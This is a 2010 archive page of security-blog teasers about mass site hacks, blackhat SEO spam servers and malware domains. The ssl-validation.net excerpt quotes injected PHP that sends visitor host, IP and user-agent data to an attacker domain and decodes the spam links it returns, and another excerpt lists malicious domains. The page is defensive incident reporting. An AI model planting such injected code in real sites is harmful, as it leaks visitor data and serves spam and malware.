Monthly Archives: September 2010

Attack against IIS/ASP sites – google-stat50.info

A large number of sites have been hacked again in the last few days with a malware script pointing to google-stat50.info (and google-stats50.info) . Not only small sites, but some big ones got hit as well. It is the same … Read more


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GoDaddy hacked – Fixing the “headers already sent” error

As you saw over the last few days, various sites at GoDaddy were exploited causing lots of complaints on Twitter and in other places about GoDaddy security. Well, today, many of those sites were reinfected (again) and GoDaddy tried to … Read more


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GoDaddy sites hacked – myblindstudioinfoonline.com and Hilary Kneber

We can now confirm there is an undetermined number of sites hosted at GoDaddy that have been attacked and exploited. Our research is showing this is an ongoing issue that started within the last couple hours. All the sites we’ve … Read more


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OpenX users – Time to upgrade

*Note that openx.org is currently offline, so we recommend disabling it until you can upgrade. **We are mirroring version 2.8.7 here: http://sucuri.net/openx-2.8.7.tar.gz if you don’t want to wait until openx is back online. ***If your site is hacked/blacklisted and you … Read more


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Blackhat SEO Spam C&C: wseow and seotoos up to no good!

We have been tracking these Blackhat SEO Spam C&C (command and control) servers for a while and thought it would be a good time to expose some of the details. They have been actively trying to exploit blogs using old … Read more


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ASIS International Website Blacklisted by Google

The official website (asisonline.org) of ASIS International, a major physical security association was hacked and blacklisted yesterday. Add another case to the list of sites using outdated and/or vulnerable applications. In the case of ASIS, they were running a vulnerable … Read more


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Success Magazine Blog Hit With Malware

We were analyzing some hacked sites today and one of them was full of SPAM. After some digging, we found that it was loading the Blackhat SEO Spam from blog.success.com (the official blog of Success Magazine). We conducted a quick … Read more


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Modx and the new gcounter.cn attack

Quick malware update. See all the latest ones here. We are seeing lately many sites running Modx that are infected with a malware getting loaded from the file /manager/includes/document.parser.class.inc.php. We don’t know yet how the sites are being hacked, but … Read more


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Malware update – ssl-validation.net

Quick malware update: The site ssl-validation.net (nice name) is being used to distribute SEO spam and malware (Rhe famous fake AV, say it ain’t so). You can get details of the code being used here: http://sucuri.net/?page=tools&title=blacklist&detail=7ea73e3ac775b52b945d5b45a5abb7ad $outsourceurl="http://ssl-validation.net/gt.php?site=”.urlencode($_SERVER['HTTP_HOST']).’&page=’.urlencode($_SERVER['REQUEST_URI']).’&ip=’.urlencode($_SERVER['REMOTE_ADDR']).’&agent=’.urlencode($_SERVER['HTTP_USER_AGENT']); $links = base64_decode(file_get_contents($outsourceurl)); … Read more


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Malware update – seconeo.com,secowo.com,etc

We will be posting some quick malware updates on our blog from now on. If your WordPress site got hacked with malware from any of these domains: http://ae.awaue.com http://ie.eracou.com http://ao.euuaw.com http://aeaaea.com/ou http://secree.com/re http://uoauer.com/si http://oeooea.com/ve http://secowo.com/wo http://ouroue.com/se In addition to remove … Read more


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